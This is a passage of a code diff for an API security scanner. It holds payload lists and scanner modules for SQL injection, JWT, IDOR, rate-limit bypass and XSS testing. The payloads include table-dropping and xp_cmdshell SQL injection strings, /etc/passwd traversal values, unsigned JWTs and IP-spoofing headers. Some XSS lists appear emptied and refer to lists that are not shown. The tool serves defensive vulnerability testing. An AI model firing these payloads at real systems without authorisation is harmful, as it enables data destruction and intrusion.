+ ] + + STACKED_QUERIES = [ + "'; DROP TABLE users--", + "'; INSERT INTO users VALUES('hacker','password')--", + "'; UPDATE users SET password='hacked'--", + "'; EXEC xp_cmdshell('whoami')--", + "'; CREATE TABLE test(id INT)--", + ] + + COMMENT_VARIATIONS = [ + "admin'--", + "admin'#", + "admin'/*", + "admin'-- -", + "admin';--", + "admin';#", + ] + + @classmethod + def get_all_payloads(cls) -> list[str]: + """ + Get all SQLi payloads combined + + Returns: + list[str]: All SQLi test payloads + """ + return ( + cls.BASIC_AUTHENTICATION_BYPASS + cls.UNION_BASED + + cls.TIME_BASED_BLIND + cls.BOOLEAN_BASED_BLIND + + cls.ERROR_BASED + cls.STACKED_QUERIES + + cls.COMMENT_VARIATIONS + ) + + @classmethod + def get_error_signatures(cls) -> dict[str, list[str]]: + """ + Get error signatures for detecting database types + + Returns: + dict[str, list[str]]: Database error signature mappings + """ + return cls.ERROR_SIGNATURES + + +class AuthPayloads: + """ + Authentication and authorization test payloads + """ + + JWT_NONE_ALGORITHM_VARIANTS = [ + "none", + "None", + "NONE", + "nOnE", + "NoNe", + "NOne", + ] + + COMMON_AUTH_HEADERS = [ + "Authorization", + "X-API-Key", + "X-Auth-Token", + "X-Access-Token", + "Bearer", + "Token", + "API-Key", + "ApiKey", + "Access-Token", + "Session", + "X-Session-Token", + "X-CSRF-Token", + "Authentication", + ] + + INVALID_TOKEN_FORMATS = [ + "", # Empty token + "invalid", + "null", + "undefined", + "Bearer", # Just the prefix + "Bearer ", # Prefix with space + "1234567890", + "admin", + "../../../etc/passwd", + "' OR '1'='1", + ] + + JWT_ATTACKS = [ + "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.", # None algorithm + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ", # No signature + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30", # Empty payload + ] + + @classmethod + def get_all_headers(cls) -> list[str]: + """ + Get all auth header names + + Returns: + list[str]: All authentication header variations + """ + return cls.COMMON_AUTH_HEADERS + + @classmethod + def get_jwt_none_variants(cls) -> list[str]: + """ + Get JWT none algorithm case variations + + Returns: + list[str]: None algorithm variations for testing + """ + return cls.JWT_NONE_ALGORITHM_VARIANTS + + +class IDORPayloads: + """ + Insecure Direct Object Reference (IDOR) test patterns + """ + + NUMERIC_ID_MANIPULATIONS = [ + 0, + -1, + 1, + 2, + 9999, + 99999, + 999999, + ] + + STRING_ID_MANIPULATIONS = [ + "admin", + "root", + "test", + "user", + "1", + "0", + "../../../etc/passwd", + "..%2F..%2F..%2Fetc%2Fpasswd", + ] + + UUID_MANIPULATIONS = [ + "00000000-0000-0000-0000-000000000000", + "11111111-1111-1111-1111-111111111111", + "ffffffff-ffff-ffff-ffff-ffffffffffff", + ] + + @classmethod + def get_numeric_tests(cls) -> list[int]: + """ + Get numeric ID test values + + Returns: + list[int]: Numeric ID manipulation values + """ + return cls.NUMERIC_ID_MANIPULATIONS + + @classmethod + def get_string_tests(cls) -> list[str]: + """ + Get string ID test values + + Returns: + list[str]: String ID manipulation values + """ + return cls.STRING_ID_MANIPULATIONS + + +class RateLimitBypassPayloads: + """ + Rate limiting bypass techniques and patterns + """ + + HEADER_PATTERNS = { + "limit": r"x-ratelimit-limit|x-rate-limit-limit|ratelimit-limit", + "remaining": r"x-ratelimit-remaining|x-rate-limit-remaining|ratelimit-remaining", + "reset": r"x-ratelimit-reset|x-rate-limit-reset|ratelimit-reset", + "retry_after": r"retry-after", + } + + ENDPOINT_VARIATIONS = [ + "/", + "//", + "/./", + "/.", + "/?", + "/?dummy=1", + "/?test=1", + "/;", + "/%2e", + "/%00", + ] + + HEADER_SPOOFING = [ + { + "X-Forwarded-For": "127.0.0.1" + }, + { + "X-Forwarded-For": "8.8.8.8" + }, + { + "X-Real-IP": "127.0.0.1" + }, + { + "X-Originating-IP": "127.0.0.1" + }, + { + "X-Remote-IP": "127.0.0.1" + }, + { + "X-Client-IP": "127.0.0.1" + }, + { + "CF-Connecting-IP": "127.0.0.1" + }, + { + "True-Client-IP": "127.0.0.1" + }, + ] + + USER_AGENT_ROTATION = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36", + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36", + "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15", + "curl/7.64.1", + "python-requests/2.31.0", + ] + + @classmethod + def get_bypass_headers(cls) -> list[dict[str, str]]: + """ + Get rate limit bypass header combinations + + Returns: + list[dict[str, str]]: Header combinations for testing + """ + return cls.HEADER_SPOOFING + + @classmethod + def get_header_patterns(cls) -> dict[str, str]: + """ + Get rate limit header detection patterns + + Returns: + dict[str, str]: Regex patterns for rate limit headers + """ + return cls.HEADER_PATTERNS + + @classmethod + def get_endpoint_variations(cls) -> list[str]: + """ + Get endpoint variations for bypass testing + + Returns: + list[str]: Endpoint path variations + """ + return cls.ENDPOINT_VARIATIONS + + +class XSSPayloads: + """ + Cross-Site Scripting (XSS) test payloads for potential future testing + """ + + BASIC_XSS = [ + "", + "", + "", + "", + "", + ] + + EVENT_HANDLER_XSS = [ + "", + "", + "", + "", + "", + "'\">", + "-->'>", + "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->", + ] + + @classmethod + def get_all_payloads(cls) -> list[str]: + """ + Get all XSS test payloads combined + + Returns: + list[str]: All XSS test payloads + """ + return ( + cls.BASIC_XSS + cls.EVENT_HANDLER_XSS + cls.SVG_XSS + + cls.IFRAME_XSS + cls.ENCODED_XSS + + cls.ATTRIBUTE_BREAKING + cls.FILTER_BYPASS + + cls.POLYGLOT_XSS + ) + + @classmethod + def get_basic_payloads(cls) -> list[str]: + """ + Get basic XSS test payloads + + Returns: + list[str]: Basic XSS payloads + """ + return cls.BASIC_XSS diff --git a/api-security-scanner/backend/scanners/rate_limit_scanner.py b/api-security-scanner/backend/scanners/rate_limit_scanner.py new file mode 100644 index 00000000..06ddd7ae --- /dev/null +++ b/api-security-scanner/backend/scanners/rate_limit_scanner.py @@ -0,0 +1,354 @@ +""" +©AngelaMos | 2025 +Rate limiting detection and bypass testing scanner + +OWASP API4:2023 +""" + +from __future__ import annotations + +import re +import time +from typing import Any + +from ..core.enums import ( + ScanStatus, + Severity, + TestType, +) +from ..schemas.test_result_schemas import TestResultCreate + +from .base_scanner import BaseScanner +from .payloads import RateLimitBypassPayloads + + +class RateLimitScanner(BaseScanner): + """ + Rate limiting and bypass vulnerabilities tests + """ + def scan(self) -> TestResultCreate: + """ + Execute rate limiting tests + + Returns: + TestResultCreate: Scan result with findings + """ + rate_limit_info = self._detect_rate_limiting() + + if not rate_limit_info["rate_limit_detected"]: + return self._create_vulnerable_result( + details = + "No rate limiting detected on target endpoint", + evidence = rate_limit_info, + recommendations = [ + "Implement rate limiting to prevent abuse and DoS attacks", + "Use standard rate limit headers (X-RateLimit-Limit, X-RateLimit-Remaining)", + "Return 429 Too Many Requests when limits are exceeded", + "Include Retry-After header with 429 responses", + ], + ) + + if rate_limit_info["enforcement_status"] == "HEADERS_ONLY": + return self._create_vulnerable_result( + details = + "Rate limit headers present but not enforced", + evidence = rate_limit_info, + severity = Severity.MEDIUM, + recommendations = [ + "Enforce rate limits with 429 responses when thresholds are exceeded", + "Rate limit headers without enforcement provide false security", + ], + ) + + bypass_results = self._test_bypass_techniques() + + if bypass_results["bypass_successful"]: + return self._create_vulnerable_result( + details = + f"Rate limiting bypassed using: {bypass_results['bypass_method']}", + evidence = { + "rate_limit_info": rate_limit_info, + "bypass_details": bypass_results, + }, + severity = Severity.HIGH, + recommendations = [ + f"Fix bypass vulnerability: {bypass_results['bypass_method']}", + "Do not trust client-provided IP headers (X-Forwarded-For, X-Real-IP)", + "Implement rate limiting at multiple layers (IP, user, API key)", + "Validate and sanitize all client-provided headers", + ], + ) + + return TestResultCreate( + test_name = TestType.RATE_LIMIT, + status = ScanStatus.SAFE, + severity = Severity.INFO, + details = + "Rate limiting properly implemented and enforced", + evidence_json = { + "rate_limit_info": rate_limit_info, + "bypass_attempts": bypass_results, + }, + recommendations_json = [ + "Rate limiting is properly configured", + "Continue monitoring for new bypass techniques", + ], + ) + + def _detect_rate_limiting(self, + test_request_count: int = 20 + ) -> dict[str, + Any]: + """ + Detect rate limiting by analyzing headers and response patterns + + Based on industry research: checks for standard headers and 429 responses + + Args: + test_request_count: Number of requests to send + + Returns: + dict[str, Any]: Rate limiting detection results + """ + rate_limit_patterns = RateLimitBypassPayloads.get_header_patterns() + + results = { + "rate_limit_detected": False, + "rate_limit_headers": {}, + "limit_threshold": None, + "reset_window": None, + "enforcement_status": None, + "attempts_until_limit": None, + "request_results": [], + } + + for attempt in range(1, test_request_count + 1): + try: + response = self.make_request("GET", "/") + + headers_lower = { + k.lower(): v + for k, v in response.headers.items() + } + + for header_type, pattern in rate_limit_patterns.items(): + for header_name, header_value in headers_lower.items(): + if re.search(pattern, + header_name, + re.IGNORECASE): + results["rate_limit_headers"][ + header_type] = { + "header_name": header_name, + "value": header_value, + } + results["rate_limit_detected"] = True + + results["request_results"].append( + { + "attempt": + attempt, + "status_code": + response.status_code, + "response_time_ms": + round( + getattr(response, + "request_time", + 0.0) * 1000, + 2 + ), + } + ) + + if response.status_code == 429: + results["enforcement_status"] = "ACTIVE" + results["attempts_until_limit"] = attempt + + retry_after = response.headers.get("Retry-After") + if retry_after: + results["retry_after_seconds"] = retry_after + + break + + time.sleep(0.1) + + except Exception as e: + results["request_results"].append( + { + "attempt": attempt, + "error": str(e) + } + ) + break + + if results["rate_limit_detected"]: + if "limit" in results["rate_limit_headers"]: + results["limit_threshold"] = results[ + "rate_limit_headers"]["limit"]["value"] + + if "reset" in results["rate_limit_headers"]: + results["reset_window"] = results["rate_limit_headers" + ]["reset"]["value"] + + if not results["enforcement_status"]: + results["enforcement_status"] = "HEADERS_ONLY" + else: + results["enforcement_status"] = "NONE" + + return results + + def _test_bypass_techniques(self) -> dict[str, Any]: + """ + Test common rate limit bypass techniques + + Based on HackTricks and OWASP: + - IP header spoofing (X-Forwarded-For, X-Real-IP, etc.) + - Endpoint case variations + + Returns: + dict[str, Any]: Bypass test results + """ + results = { + "bypass_successful": False, + "bypass_method": None, + "bypass_details": {}, + } + + ip_bypass = self._test_ip_header_bypass() + if ip_bypass["bypass_successful"]: + results["bypass_successful"] = True + results["bypass_method"] = "IP Header Spoofing" + results["bypass_details"] = ip_bypass + return results + + endpoint_bypass = self._test_endpoint_variation_bypass() + if endpoint_bypass["bypass_successful"]: + results["bypass_successful"] = True + results["bypass_method"] = "Endpoint Case Variation" + results["bypass_details"] = endpoint_bypass + return results + + results["bypass_details"] = { + "ip_header_test": ip_bypass, + "endpoint_variation_test": endpoint_bypass, + } + + return results + + def _test_ip_header_bypass(self, + test_count: int = 15) -> dict[str, + Any]: + """ + Test if rate limiting can be bypassed with IP spoofing headers + + Many rate limiters trust X-Forwarded-For and similar headers, + allowing attackers to bypass limits by rotating fake IPs + + Args: + test_count: Number of requests to test + + Returns: + dict[str, Any]: IP bypass test results + """ + bypass_headers = RateLimitBypassPayloads.HEADER_SPOOFING + + for header_dict in bypass_headers: + header_name = list(header_dict.keys())[0] + success_count = 0 + + for i in range(test_count): + fake_ip = f"10.{i % 255}.{(i // 255) % 255}.1" + test_headers = {header_name: fake_ip} + + try: + response = self.make_request( + "GET", + "/", + headers = test_headers + ) + + if response.status_code != 429: + success_count += 1 + else: + break + + except Exception: + break + + if success_count == test_count: + return { + "bypass_successful": True, + "header_used": header_name, + "requests_completed": success_count, + "fake_ip_example": "10.0.0.1", + } + + return { + "bypass_successful": False, + "headers_tested": + [list(h.keys())[0] for h in bypass_headers], + } + + def _test_endpoint_variation_bypass(self) -> dict[str, Any]: + """ + Test if endpoint case variations bypass rate limiting + + Some rate limiters are case-sensitive or miss URL variations + + Returns: + dict[str, Any]: Endpoint variation test results + """ + variations = RateLimitBypassPayloads.get_endpoint_variations() + + for variant in variations: + success_count = 0 + + for _ in range(10): + try: + response = self.make_request("GET", variant) + if response.status_code != 429: + success_count += 1 + else: + break + except Exception: + break + + if success_count == 10 and variant != "/": + return { + "bypass_successful": True, + "bypass_variant": variant, + "requests_completed": success_count, + } + + return { + "bypass_successful": False, + "variations_tested": variations, + } + + def _create_vulnerable_result( + self, + details: str, + evidence: dict[str, + Any], + severity: Severity = Severity.HIGH, + recommendations: list[str] | None = None, + ) -> TestResultCreate: + """ + Create a vulnerable scan result + + Args: + details: Vulnerability description + evidence: Evidence dictionary + severity: Vulnerability severity + recommendations: List of remediation recommendations + + Returns: + TestResultCreate: Vulnerable result + """ + return TestResultCreate( + test_name = TestType.RATE_LIMIT, + status = ScanStatus.VULNERABLE, + severity = severity, + details = details, + evidence_json = evidence, + recommendations_json = recommendations or [], + ) diff --git a/api-security-scanner/backend/scanners/sqli_scanner.py b/api-security-scanner/backend/scanners/sqli_scanner.py new file mode 100644 index 00000000..ff085be4 --- /dev/null +++ b/api-security-scanner/backend/scanners/sqli_scanner.py @@ -0,0 +1,316 @@ +""" +©AngelaMos | 2025 +SQL injection vulnerability scanner + +Tests error based, boolean based, and time based blind SQLi +""" + +import time +import statistics +from typing import Any + +from ..core.enums import ( + ScanStatus, + Severity, + TestType, +) +from ..schemas.test_result_schemas import TestResultCreate + +from .payloads import SQLiPayloads +from .base_scanner import BaseScanner + + +class SQLiScanner(BaseScanner): + """ + Tests for SQL injection vulnerabilities + + Detects: + - Error-based SQLi (database error messages) + - Boolean-based blind SQLi (response differences) + - Time-based blind SQLi (response timing analysis) + + Uses payloads covering MySQL, PostgreSQL, MSSQL, Oracle + """ + + def scan(self) -> TestResultCreate: + """ + Execute SQL injection tests + + Returns: + TestResultCreate: Scan result with findings + """ + error_based_test = self._test_error_based_sqli() + if error_based_test["vulnerable"]: + return self._create_vulnerable_result( + details=f"Error-based SQL injection detected: {error_based_test['database_type']}", + evidence=error_based_test, + severity=Severity.CRITICAL, + recommendations=[ + "Use parameterized queries (prepared statements)", + "Never concatenate user input into SQL queries", + "Implement input validation and sanitization", + "Disable detailed error messages in production", + "Use ORM frameworks with proper escaping", + ], + ) + + boolean_based_test = self._test_boolean_based_sqli() + if boolean_based_test["vulnerable"]: + return self._create_vulnerable_result( + details="Boolean-based blind SQL injection detected", + evidence=boolean_based_test, + severity=Severity.CRITICAL, + recommendations=[ + "Use parameterized queries for all database operations", + "Implement proper input validation", + "Avoid exposing different responses for true/false conditions", + ], + ) + + time_based_test = self._test_time_based_sqli() + if time_based_test["vulnerable"]: + return self._create_vulnerable_result( + details=f"Time-based blind SQL injection detected: {time_based_test['database_type']}", + evidence=time_based_test, + severity=Severity.CRITICAL, + recommendations=[ + "Use parameterized queries exclusively", + "Implement strict input validation", + "Monitor for unusual response time patterns", + ], + ) + + return TestResultCreate( + test_name=TestType.SQLI, + status=ScanStatus.SAFE, + severity=Severity.INFO, + details="No SQL injection vulnerabilities detected", + evidence_json={ + "error_based_test": error_based_test, + "boolean_based_test": boolean_based_test, + "time_based_test": time_based_test, + }, + recommendations_json=[ + "Continue using parameterized queries", + "Regularly update security testing", + ], + ) + + def _test_error_based_sqli(self) -> dict[str, Any]: + """ + Test for error based SQL injection + + Detects database errors in responses indicating SQLi vulnerability + + Returns: + dict[str, Any]: Error-based SQLi test results + """ + error_signatures = SQLiPayloads.get_error_signatures() + + basic_payloads = SQLiPayloads.BASIC_AUTHENTICATION_BYPASS + + for payload in basic_payloads: + try: + response = self.make_request( + "GET", f"/?id={payload}" + ) + + response_text_lower = response.text.lower() + + for db_type, signatures in error_signatures.items(): + for signature in signatures: + if signature in response_text_lower: + return { + "vulnerable": True, + "database_type": db_type, + "payload": payload, + "status_code": response.status_code, + "error_signature": signature, + "response_excerpt": response.text[:500], + } + + except Exception: + continue + + return { + "vulnerable": False, + "payloads_tested": len(basic_payloads), + "description": "No database errors detected", + } + + def _test_boolean_based_sqli(self) -> dict[str, Any]: + """ + Test for boolean based blind SQL injection + + Compares responses from true vs false conditions to detect SQLi + + Returns: + dict[str, Any]: Boolean based SQLi test results + """ + try: + baseline_response = self.make_request("GET", "/?id=1") + baseline_length = len(baseline_response.text) + baseline_status = baseline_response.status_code + + if baseline_status != 200: + return { + "vulnerable": False, + "description": "Baseline request failed", + "baseline_status": baseline_status, + } + + boolean_payloads = SQLiPayloads.BOOLEAN_BASED_BLIND + true_payloads = [p for p in boolean_payloads if "AND '1'='1" in p or "AND 1=1" in p] + false_payloads = [p for p in boolean_payloads if "AND '1'='2" in p or "AND 1=2" in p or "AND 1=0" in p] + + true_lengths = [] + for payload in true_payloads: + response = self.make_request("GET", f"/?id={payload}") + true_lengths.append(len(response.text)) + + false_lengths = [] + for payload in false_payloads: + response = self.make_request("GET", f"/?id={payload}") + false_lengths.append(len(response.text)) + + avg_true = statistics.mean(true_lengths) + avg_false = statistics.mean(false_lengths) + + length_diff = abs(avg_true - avg_false) + + if length_diff > 100 and avg_true != avg_false: + return { + "vulnerable": True, + "baseline_length": baseline_length, + "true_condition_avg_length": avg_true, + "false_condition_avg_length": avg_false, + "length_difference": length_diff, + "confidence": "HIGH" + if length_diff > 500 + else "MEDIUM", + } + + return { + "vulnerable": False, + "description": "No boolean-based SQLi detected", + "length_difference": length_diff, + } + + except Exception as e: + return { + "vulnerable": False, + "error": str(e), + "description": "Error testing boolean-based SQLi", + } + + def _test_time_based_sqli( + self, delay_seconds: int = 5 + ) -> dict[str, Any]: + """ + Test for time based blind SQL injection + + Uses baseline timing comparison with statistical analysis + for false positive reduction + + Args: + delay_seconds: Delay to inject (from settings) + + Returns: + dict[str, Any]: Time-based SQLi test results + """ + try: + baseline_mean, baseline_stdev = self.get_baseline_timing("/") + + threshold = baseline_mean + (3 * baseline_stdev) + expected_delay_time = baseline_mean + delay_seconds + + all_time_payloads = SQLiPayloads.TIME_BASED_BLIND + + delay_payloads = { + "mysql": [p for p in all_time_payloads if "SLEEP" in p], + "postgres": [p for p in all_time_payloads if "pg_sleep" in p], + "mssql": [p for p in all_time_payloads if "WAITFOR" in p], + } + + for db_type, payloads in delay_payloads.items(): + for payload in payloads: + delay_times = [] + + for _ in range(3): + try: + response = self.make_request( + "GET", + f"/?id={payload}", + timeout=delay_seconds + 10, + ) + elapsed = getattr(response, "request_time", 0.0) + delay_times.append(elapsed) + + except Exception: + delay_times.append(delay_seconds + 10) + + time.sleep(1) + + avg_delay = statistics.mean(delay_times) + + if avg_delay >= expected_delay_time - 1: + confidence = ( + "HIGH" + if avg_delay >= expected_delay_time + else "MEDIUM" + ) + + return { + "vulnerable": True, + "database_type": db_type, + "payload": payload, + "baseline_time": f"{baseline_mean:.3f}s", + "response_time": f"{avg_delay:.3f}s", + "expected_delay": f"{expected_delay_time:.3f}s", + "confidence": confidence, + "individual_times": [ + f"{t:.3f}s" for t in delay_times + ], + } + + return { + "vulnerable": False, + "baseline_time": f"{baseline_mean:.3f}s", + "threshold": f"{threshold:.3f}s", + "description": "No time-based SQLi detected", + } + + except Exception as e: + return { + "vulnerable": False, + "error": str(e), + "description": "Error testing time-based SQLi", + } + + def _create_vulnerable_result( + self, + details: str, + evidence: dict[str, Any], + severity: Severity = Severity.CRITICAL, + recommendations: list[str] | None = None, + ) -> TestResultCreate: + """ + Create a vulnerable scan result + + Args: + details: Vulnerability description + evidence: Evidence dictionary + severity: Vulnerability severity + recommendations: List of remediation recommendations + + Returns: + TestResultCreate: Vulnerable result + """ + return TestResultCreate( + test_name=TestType.SQLI, + status=ScanStatus.VULNERABLE, + severity=severity, + details=details, + evidence_json=evidence, + recommendations_json=recommendations or [], + ) diff --git a/api-security-scanner/backend/schemas/__init__.py b/api-security-scanner/backend/schemas/__init__.py new file mode 100644 index 00000000..7de189d8 --- /dev/null +++ b/api-security-scanner/backend/schemas/__init__.py @@ -0,0 +1,30 @@ +"""Pydantic schemas for API validation and serialization""" + +from .user_schemas import ( + TokenResponse, + UserCreate, + UserLogin, + UserResponse, +) +from .scan_schemas import ( + ScanRequest, + ScanResponse, +) +from .test_result_schemas import ( + TestResultCreate, + TestResultResponse, +) + +__all__ = [ + # User schemas + "UserCreate", + "UserLogin", + "UserResponse", + "TokenResponse", + # Scan schemas + "ScanRequest", + "ScanResponse", + # Test result schemas + "TestResultCreate", + "TestResultResponse", +] diff --git a/api-security-scanner/backend/schemas/scan_schemas.py b/api-security-scanner/backend/schemas/scan_schemas.py new file mode 100644 index 00000000..eeb93daa --- /dev/null +++ b/api-security-scanner/backend/schemas/scan_schemas.py @@ -0,0 +1,63 @@ +""" +ⒸAngelaMos | 2025 +Scan model API validation and serialization. +""" + +from __future__ import annotations + +from pydantic import ( + BaseModel, + ConfigDict, + Field, + HttpUrl, +) +from datetime import datetime + +from ..config import settings +from ..core.enums import TestType + + +class ScanRequest(BaseModel): + """ + Schema for creating a new security scan + """ + target_url: HttpUrl = Field(max_length = settings.URL_MAX_LENGTH) + auth_token: str | None = None + tests_to_run: list[TestType] = Field(min_length = 1) + max_requests: int = Field( + default = settings.DEFAULT_MAX_REQUESTS, + ge = 1, + le = settings.SCANNER_MAX_CONCURRENT_REQUESTS, + ) + + +class ScanResponse(BaseModel): + """ + Schema for scan data in API responses + """ + # Circular to avoid circular imports + from .test_result_schemas import TestResultResponse + model_config = ConfigDict(from_attributes = True) + + id: int + user_id: int + target_url: str + scan_date: datetime + created_at: datetime + test_results: list[TestResultResponse] = [] + + @property + def total_tests(self) -> int: + """ + Total number of tests run + """ + return len(self.test_results) + + @property + def vulnerabilities_found(self) -> int: + """ + Number of vulnerabilities found + """ + return sum( + 1 for r in self.test_results if r.status == "vulnerable" + ) diff --git a/api-security-scanner/backend/schemas/test_result_schemas.py b/api-security-scanner/backend/schemas/test_result_schemas.py new file mode 100644 index 00000000..a871fbd4 --- /dev/null +++ b/api-security-scanner/backend/schemas/test_result_schemas.py @@ -0,0 +1,61 @@ +""" +ⒸAngelaMos | 2025 +TestResult model API validation and serialization +""" + +from typing import Any +from datetime import datetime +from pydantic import ( + BaseModel, + ConfigDict, + Field, +) + +from ..core.enums import ( + ScanStatus, + Severity, + TestType, +) + + +class TestResultCreate(BaseModel): + """ + Schema for creating a new test result (used by scanners) + """ + test_name: TestType + status: ScanStatus + severity: Severity + details: str + evidence_json: dict[str, Any] = Field(default_factory = dict) + recommendations_json: list[str] = Field(default_factory = list) + + +class TestResultResponse(BaseModel): + """ + Schema for individual test result in API responses + """ + model_config = ConfigDict(from_attributes = True) + + id: int + scan_id: int + test_name: TestType + status: ScanStatus + severity: Severity + details: str + evidence_json: dict[str, Any] + recommendations_json: list[str] + created_at: datetime + + @property + def is_vulnerable(self) -> bool: + """ + Check if result indicates a vulnerability + """ + return self.status == ScanStatus.VULNERABLE + + @property + def is_high_severity(self) -> bool: + """ + Check if vulnerability is high severity + """ + return self.severity == Severity.HIGH diff --git a/api-security-scanner/backend/schemas/user_schemas.py b/api-security-scanner/backend/schemas/user_schemas.py new file mode 100644 index 00000000..18585bb8 --- /dev/null +++ b/api-security-scanner/backend/schemas/user_schemas.py @@ -0,0 +1,55 @@ +""" +Pydantic schemas for User model - API validation and serialization. +""" + +from __future__ import annotations + +from datetime import datetime + +from pydantic import BaseModel, ConfigDict, EmailStr, Field + +from ..config import settings + + +class UserCreate(BaseModel): + """ + Schema for user registration request. + """ + + email: EmailStr + password: str = Field( + min_length = settings.PASSWORD_MIN_LENGTH, + max_length = settings.PASSWORD_MAX_LENGTH, + ) + + +class UserLogin(BaseModel): + """ + Schema for user login request. + """ + + email: EmailStr + password: str + + +class UserResponse(BaseModel): + """ + Schema for user data in API responses. + Excludes sensitive fields like hashed_password. + """ + + model_config = ConfigDict(from_attributes = True) + + id: int + email: str + is_active: bool + created_at: datetime + + +class TokenResponse(BaseModel): + """ + Schema for JWT token response. + """ + + access_token: str + token_type: str = "bearer" diff --git a/api-security-scanner/backend/services/__init__.py b/api-security-scanner/backend/services/__init__.py new file mode 100644 index 00000000..3ee54626 --- /dev/null +++ b/api-security-scanner/backend/services/__init__.py @@ -0,0 +1,13 @@ +""" +ⒸAngelaMos | 2025 +Biz logic layer for orchestrating repositories and scanners +""" + +from .auth_service import AuthService +from .scan_service import ScanService + + +__all__ = [ + "AuthService", + "ScanService", +] diff --git a/api-security-scanner/backend/services/auth_service.py b/api-security-scanner/backend/services/auth_service.py new file mode 100644 index 00000000..7e9cd80e --- /dev/null +++ b/api-security-scanner/backend/services/auth_service.py @@ -0,0 +1,132 @@ +""" +©AngelaMos | 2025 +Authentication service for user registration and login +""" + +from __future__ import annotations + +from datetime import timedelta +from sqlalchemy.orm import Session +from fastapi import HTTPException, status + +from ..config import settings +from ..core.security import ( + create_access_token, + hash_password, + verify_password, +) +from ..schemas.user_schemas import ( + TokenResponse, + UserCreate, + UserLogin, + UserResponse, +) +from ..repositories.user_repository import UserRepository + + +class AuthService: + """ + User registration, login, and token generation + """ + @staticmethod + def register_user( + db: Session, + user_data: UserCreate + ) -> UserResponse: + """ + Register a new user + + Args: + db: Database session + user_data: User registration data + + Returns: + UserResponse: Created user data + """ + existing_user = UserRepository.get_by_email( + db, + user_data.email + ) + if existing_user: + raise HTTPException( + status_code = status.HTTP_400_BAD_REQUEST, + detail = "Email already registered", + ) + + hashed_password = hash_password(user_data.password) + + user = UserRepository.create_user( + db = db, + email = user_data.email, + hashed_password = hashed_password, + ) + + return UserResponse.model_validate(user) + + @staticmethod + def login_user( + db: Session, + login_data: UserLogin + ) -> TokenResponse: + """ + Authenticate user and generate access token + + Args: + db: Database session + login_data: User login credentials + + Returns: + TokenResponse: JWT access token + """ + user = UserRepository.get_by_email(db, login_data.email) + + if not user: + raise HTTPException( + status_code = status.HTTP_401_UNAUTHORIZED, + detail = "Invalid email or password", + ) + + if not verify_password(login_data.password, + user.hashed_password): + raise HTTPException( + status_code = status.HTTP_401_UNAUTHORIZED, + detail = "Invalid email or password", + ) + + if not user.is_active: + raise HTTPException( + status_code = status.HTTP_403_FORBIDDEN, + detail = "Account is inactive", + ) + + access_token = create_access_token( + data = {"sub": user.email}, + expires_delta = timedelta( + minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES + ), + ) + + return TokenResponse( + access_token = access_token, + token_type = "bearer" + ) + + @staticmethod + def get_user_by_email( + db: Session, + email: str + ) -> UserResponse | None: + """ + Get user by email address + + Args: + db: Database session + email: User email + + Returns: + UserResponse | None: User data or None if not found + """ + user = UserRepository.get_by_email(db, email) + if user: + return UserResponse.model_validate(user) + return None diff --git a/api-security-scanner/backend/services/scan_service.py b/api-security-scanner/backend/services/scan_service.py new file mode 100644 index 00000000..a6309775 --- /dev/null +++ b/api-security-scanner/backend/services/scan_service.py @@ -0,0 +1,194 @@ +""" +©AngelaMos | 2025 +Coordinates scanners and saves results +""" + +from __future__ import annotations + +from sqlalchemy.orm import Session +from fastapi import HTTPException, status + +from ..core.enums import TestType +from ..repositories.scan_repository import ScanRepository +from ..repositories.test_result_repository import TestResultRepository + +from ..scanners.auth_scanner import AuthScanner +from ..scanners.idor_scanner import IDORScanner +from ..scanners.sqli_scanner import SQLiScanner +from ..scanners.rate_limit_scanner import RateLimitScanner +from ..schemas.test_result_schemas import TestResultCreate +from ..schemas.scan_schemas import ScanRequest, ScanResponse + + +class ScanService: + """ + Orchestrates security scanning workflow + """ + @staticmethod + def run_scan( + db: Session, + user_id: int, + scan_request: ScanRequest + ) -> ScanResponse: + """ + Execute security scan with selected tests + + Args: + db: Database session + user_id: User ID initiating the scan + scan_request: Scan configuration and tests to run + + Returns: + ScanResponse: Scan results with all test outcomes + """ + scan = ScanRepository.create_scan( + db = db, + user_id = user_id, + target_url = str(scan_request.target_url), + ) + + scanner_mapping = { + TestType.RATE_LIMIT: RateLimitScanner, + TestType.AUTH: AuthScanner, + TestType.SQLI: SQLiScanner, + TestType.IDOR: IDORScanner, + } + + results: list[TestResultCreate] = [] + + for test_type in scan_request.tests_to_run: + scanner_class = scanner_mapping.get(test_type) + + if not scanner_class: + continue + + try: + scanner = scanner_class( + target_url = str(scan_request.target_url), + auth_token = scan_request.auth_token, + max_requests = scan_request.max_requests, + ) + + result = scanner.scan() + results.append(result) + + except Exception as e: + results.append( + TestResultCreate( + test_name = test_type, + status = "error", + severity = "info", + details = f"Scanner error: {str(e)}", + evidence_json = {"error": str(e)}, + recommendations_json = [ + "Check target URL is accessible", + "Verify authentication token if provided", + ], + ) + ) + + for result in results: + TestResultRepository.create_test_result( + db = db, + scan_id = scan.id, + test_name = result.test_name, + status = result.status, + severity = result.severity, + details = result.details, + evidence_json = result.evidence_json, + recommendations_json = result.recommendations_json, + ) + + db.refresh(scan) + + return ScanResponse.model_validate(scan) + + @staticmethod + def get_scan_by_id( + db: Session, + scan_id: int, + user_id: int + ) -> ScanResponse: + """ + Get scan by ID with authorization check + + Args: + db: Database session + scan_id: Scan ID to retrieve + user_id: User ID for authorization + + Returns: + ScanResponse: Scan data with results + """ + scan = ScanRepository.get_by_id(db, scan_id) + + if not scan: + raise HTTPException( + status_code = status.HTTP_404_NOT_FOUND, + detail = "Scan not found", + ) + + if scan.user_id != user_id: + raise HTTPException( + status_code = status.HTTP_403_FORBIDDEN, + detail = "Not authorized to access this scan", + ) + + return ScanResponse.model_validate(scan) + + @staticmethod + def get_user_scans( + db: Session, + user_id: int, + skip: int = 0, + 